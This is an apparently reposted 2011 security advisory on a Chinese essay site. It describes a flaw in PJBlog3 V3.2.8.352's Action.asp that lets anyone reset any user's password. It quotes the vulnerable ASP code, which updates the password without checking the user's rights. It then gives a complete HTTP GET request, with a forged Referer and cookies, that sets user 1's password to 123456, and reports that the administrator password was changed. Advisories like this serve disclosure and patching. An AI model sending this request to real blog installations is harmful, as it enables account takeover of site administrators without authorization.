首页 爱情文章 亲情文章 友情文章 生活随笔 校园文章 经典文章 人生哲理 励志文章 搞笑文章 心情日记
  • 爱情文章
  • 亲情文章
  • 友情文章
  • 生活随笔
  • 校园文章
  • 经典文章
  • 人生哲理
  • 励志文章
  • 搞笑文章
  • 心情日记
  • 英语文章
  • 范文大全
  • 作文大全
  • 新闻阅读
    •
    当前位置: 山茶花美文网 > 心情日记 > 正文

    【PJBlog3,V3.2.8.352文件Action.asp修改任意用户密码】 ES文件V3.2

    时间：2020-02-18来源：山茶花美文网 本文已影响 人 山茶花美文网手机站

    发布日期：2011-06.19

    发布作者：佚名

    影响版本：PJBlog3 V3.2.8.352

    漏洞类型：设计错误

    漏洞描述：PJBlog一套开源免费的中文个人博客系统程序，采用asp+Access的技术，具有相当高的运作效能以及更新率，也支持目前Blog所使用的新技术

    在文件Action.asp中：

    复制代码代码如下:

    ElseIf Request.QueryString("action") = "updatepassto" Then //第307行

    If ChkPost() Then

    Dim e_Pass, e_RePass, e_ID, e_Rs, e_hash, d_pass

    e_ID = CheckStr(UnEscape(Request.QueryString("id")))

    e_Pass = CheckStr(UnEscape(Request.QueryString("pass")))

    e_RePass = CheckStr(UnEscape(Request.QueryString("repass")))

    Set e_Rs = Server.CreateObject("Adodb.Recordset")

    e_Rs.open "Select * From [blog_Member] Where [mem_ID]="&e_ID, Conn, 1, 3

    e_hash = e_Rs("mem_salt")

    d_pass = SHA1(e_Pass&e_hash)

    e_Rs("mem_Password") = d_pass

    e_Rs.update

    e_Rs.Close

    Set e_Rs = nothing

    response.Write("1")

    Else

    response.write lang.Err.info(999)

    End If

    程序在修改用户的密码时，没有对用户的合法权限做验证，导致攻击者可以修改任意用户的密码。 应该先判断用户权限

    测试方法:

    复制代码代码如下:

    //需修改Referer值通过程序检测

    GET /action.asp?action=updatepassto&id=1&pass=123456&repass=test HTTP/1.1

    Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

    Referer: http://127.0.0.1/test.htm

    Accept-Language: zh-cn

    UA-CPU: x86

    Accept-Encoding: gzip, deflate

    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler 4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)

    Host: 127.0.0.1

    Connection: Keep-Alive

    Cookie: PJBlog3Setting=ViewType=normal; PJBlog3=memRight=000000110000&memHashKey=&memName=&DisValidate=False&memLastpost=2009%2D11%2D08+11%3A18%3A27&exp=2010%2D11%2D8&Guest=%7Brecord%3Atrue%2Cusername%3A%27test%27%2Cuseremail%3A%27ww%40126%2Ecom%27%2Cuserwebsite%3A%27http%3A%2F%2Fwww%2Ebaidu%2Ecom%2Findex%3F%26lt%3Bfff%26gt%3B%27%7D; ASPSESSIONIDASDSSADD=DAMNKLBDKADFCKOGKEJOKJPP; ASPSESSIONIDCQCQTBCD=MOJFLCCDBICHALBBGGMMENML

    （测试结果：成功修改管理密码）

    • 爱情文章
    • 亲情文章
    • 友情文章
    • 随笔
    • 哲理
    • 励志
    • 范文大全

    最新文章

    热点文章

    推荐访问

    军训远足心得体会 军训爬山心得体会 大学军训徒步拉练感想 军训徒步作文 军训徒步10公里感想 军训徒步心得体会 5分钟演讲中秋节节日 中秋一分钟演讲 中秋节演讲稿4分钟 中秋节演讲稿一分钟 中秋节演讲稿五分钟 3-5分钟 中秋节短篇演讲稿 中秋节演讲稿两分钟 中秋节的演讲稿3分钟 关于中秋节的演讲稿三分钟 孩子体验军训的心得 参加孩子军训活动的感受与收获 家长对孩子军训后的收获和感悟 小孩军训的收获与感悟 学生军训的收获与感悟 孩子军训成长过程家长感悟 孩子军训感悟 孩子军训心得体会 孩子军训的收获与感悟 兵役前训练心得体会 部队当兵的心得 新兵役前教育训练心得体会 预备役军训心得体会 新兵军训感悟

    本文【PJBlog3,V3.2.8.352文件Action.asp修改任意用户密码】 ES文件V3.2由山茶花美文网整理提供，版权归原作者、原出处所有。

    Copyright © 山茶花美文网 All Rights Reserved.